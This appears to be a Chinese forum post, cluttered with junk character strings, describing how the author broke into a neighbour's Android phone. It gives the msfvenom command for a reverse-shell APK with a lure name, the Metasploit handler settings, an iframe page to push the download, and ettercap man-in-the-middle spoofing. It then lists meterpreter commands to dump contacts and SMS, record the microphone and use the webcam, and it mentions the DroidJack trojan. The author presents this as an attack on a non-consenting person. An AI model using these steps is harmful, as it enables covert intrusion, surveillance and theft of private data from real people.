metasploit+ettercap中间人攻击成功入侵邻居手机

admin

$ K# H0 |( Y1 z$ S( `0 k6 x 五、msf+ettercap入侵邻居安卓手机

首先启动msf ; s, d# r' I& h- \

5 W2 r+ B) ?& O

先用kali生成一个安卓木马，如下命令： 6 F; g2 D8 |% p$ y4 Z. T/ X% D0 ?

s: n+ d! @) k! _; A! Z

Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk , n- H b! x; W; \; k3 C5 M

为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻

2 A; n' l+ x4 `; t0 A! z 然后进入msf

" D* L5 x3 @/ C. P5 d3 j% q1 u use exploit/multi/handler : d* u/ L m% ^- u* S: b" j3 x

# r! L/ k( ^2 d: [2 Y- n set payload android/meterpreter/reverse_tcp . d/ o) E9 Z) I7 W5 G D

$ r, d, r) Y8 z, j7 G! E

set LHOST 192.168.0.109 //ip为kaili的ip ! n" \6 e G! H; Q; d

1 C" L0 Q' \3 _, d5 l: F

- {1 O. f+ ]; R8 x- W set LPORT 44444 //端口一定要与前面生成的木马的端口一致 ' A$ b7 e* J$ H4 L# `* }% n

Exploit

& {( L& F* d% z% Y* r% B3 e2 T( w

 

下面我们开启ettercap -G : ?9 ~% `9 P) C% ]5 a/ H- y

7 K1 u/ o* S7 [" M/ n8 ~8 S

" \, {5 e( f8 N% X9 k: \9 a: ^$ f 我物理IP为 5 t" B9 a1 y4 u2 U

  ; z! V0 {" ?$ I+ r

: Q8 Z. K" Y( D2 o

" r+ ~5 T2 Z% Q0 D* `0 P+ R p 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，

3 e9 X: Q0 |+ G1 x

2 L1 \0 q4 V: [ 下面我们来设置一下 " n* S' b% f3 O" H9 ]& _

, |6 k- K* j' H3 F( n5 w  

$ f6 l' n" A7 S2 n$ u5 j

. n- t. G' {, Y8 x8 J 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，

- e- h* g% l; L! E* b% j

8 ]* X8 E W- U. S2 N/ r  

& t/ \% r: U/ I

1 T) X2 g* D7 b  

) v! Q8 n& ^, Y. H! ^: }

  9 j V: a+ |6 c

, C3 v7 m) z8 g

  0 K: X+ n4 T( D$ S( d; A

( c# T+ ?8 r$ X0 [/ W9 S  

+ R# d7 g1 X% n( ?

  & Q7 j R: G! p

/ Z. A1 q! M1 H' `   + s2 j B$ b) X( L9 I- W" g

N( m/ g+ E) W8 k4 ~4 I. \

# C$ J. j6 j8 Y5 N- h' f   0 }2 e5 G; c! i$ f3 v+ l% k

. n K, f( }9 H" Y; t' p; Y

  U- U# { ^1 g/ m* y$ ~* J

! m- y: l* J9 u k7 U- j7 ~  

& [* f1 _2 ]9 s4 e6 l

& ^4 m0 L7 o% M   / l: H! z" ^0 e& i. w9 |5 Z6 @ }

4 x. I" V( m U$ ?  

0 a. o, w& B3 x; d

  ( J7 n7 D$ I% `- i( d% Y/ U2 w

, F# n2 `% P2 q* @/ C% k 下面我们开始攻击 . ^& q: v# `2 D# D& M6 p4 i' A

8 H* `8 P( K7 G+ M& S" y, L! M

- I9 E0 S" c9 R2 x9 h   1 r$ [9 b& f% O+ Q9 a

. H; X0 @# E' O A   & T, h$ m9 r: ?/ @' v' Y9 X

( X& L" G4 v& D- P- K$ G% M5 O

 

# M; B X' q0 ]! w# a& X4 }( A   9 F; j0 k# B% a) o: _8 o3 [: Q

u1 Z3 ~. K" T* B# L

! D$ Z7 L6 V5 Q# y0 I% J$ t5 H# |  

大概过了5分钟多，发现反弹成功了

  $ K" t8 o7 Z c8 y; g

 

( F: j, Q L" v0 s, Z   * G% p6 c, F' J5 k

6 z/ ~" B7 } L) O

( E b+ G+ p1 y! ~4 }) Z% l  

5 t3 I, s" Z, l" A! {

  9 _$ Y) a5 o6 H* f! m( n5 J

 

$ {( G+ |4 I9 b' I+ M2 j2 U  

* k- q" b8 d- Q- j& Z2 c# D

f: d$ N/ v4 F9 C& U 执行命令 ) O; g ?: r" I1 ]& I5 A2 T, l

* E4 m. t: H# @5 }. d

  ; u$ |# ~9 w, F) {

$ D8 c; r7 ^/ _

" A: L O7 v7 A) v) N0 V% l6 G dump_contacts    --》这个是导出电话 " u6 q* I C, U: B: {$ v+ T* z

9 W0 N5 F3 f# m, _' b. l: [; o

( Y O3 Z( h k5 D9 t" z dump_sms --》这个是导出信息 + F6 C& m; ~" f9 [; Y

. q+ ~2 @ A/ P

record_mic     Record audio from the default microphone for X seconds 4 T( N% `$ _5 ^' ^+ {

* C* S- \$ Q! F9 ~$ t( f1 F     webcam_chat    Start a video chat

    webcam_list    List webcams ) _) O$ b$ W, r" @& K4 J

$ X5 G6 q! g) l5 S. @ @# l

$ l5 s/ q; o% T d9 K4 X! Q     webcam_snap    Take a snapshot from the specified webcam . M- }* A- n! v; A2 Q: o6 v

8 q; W3 |# E( D6 O

webcam_stream  lay a video stream from the specified webcam

$ d) v% X# B# b   # X; \# W" H* U N7 `

& f' y# K7 h* `# l9 f9 N0 \

  7 D: c8 s$ o& a+ Z; a) P1 E, W8 V

6 q, k" h# ]) i; m6 [. K4 K X5 L5 b

. ?8 e$ P: J1 O/ D 我们打开看一下电话薄， 1 w/ I' D- P8 B: i" L5 @5 P5 n

5 H: } E( d' M0 X6 B# T/ ~

* {2 Y1 g+ ~ ^ V+ M   : Y7 j9 u- B) m ^

7 |% r, q! S/ F7 {6 z

" n' B! [* v1 u6 X, n+ Z; M# C  

: K& S+ A6 |+ J5 ]1 P! v5 x% V

# D P% I H/ n  

1 B: J' J: ^+ l: ~( w* P" {

! W3 z7 X! ~- Z9 a8 {0 }+ f1 g  

/ \1 P% j, U+ N x$ F8 m9 I$ g  

_! y( z4 w s$ \; I& q) ]

; V% E0 ]; b7 G  

! X2 m9 Z `4 V4 g! I. C( X' H

我们同时欺骗成DroidJack木马，使用方法如图： % O- Y, s- t5 ] B) K V* u7 o

  . E7 W4 j1 q# w! Q+ g8 r! j

5 d6 K( D3 X- I! a! z3 N2 I

 

# f1 b3 D( w/ `) S1 k2 C

  ) @3 h3 b) C4 t) @" R4 r

' E' ]! `/ d% w# P6 P- Y! b 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 ; v5 a4 D2 x/ @5 D# J6 r

- i. J! |* D* @  

  6 H: Z3 K0 F7 v& l; ?

  % R5 r6 @5 ~& n: J0 D; ~

( x& C5 p1 Y9 L) |% L f8 o7 t+ y. p

, W) C3 o8 h8 C4 y7 A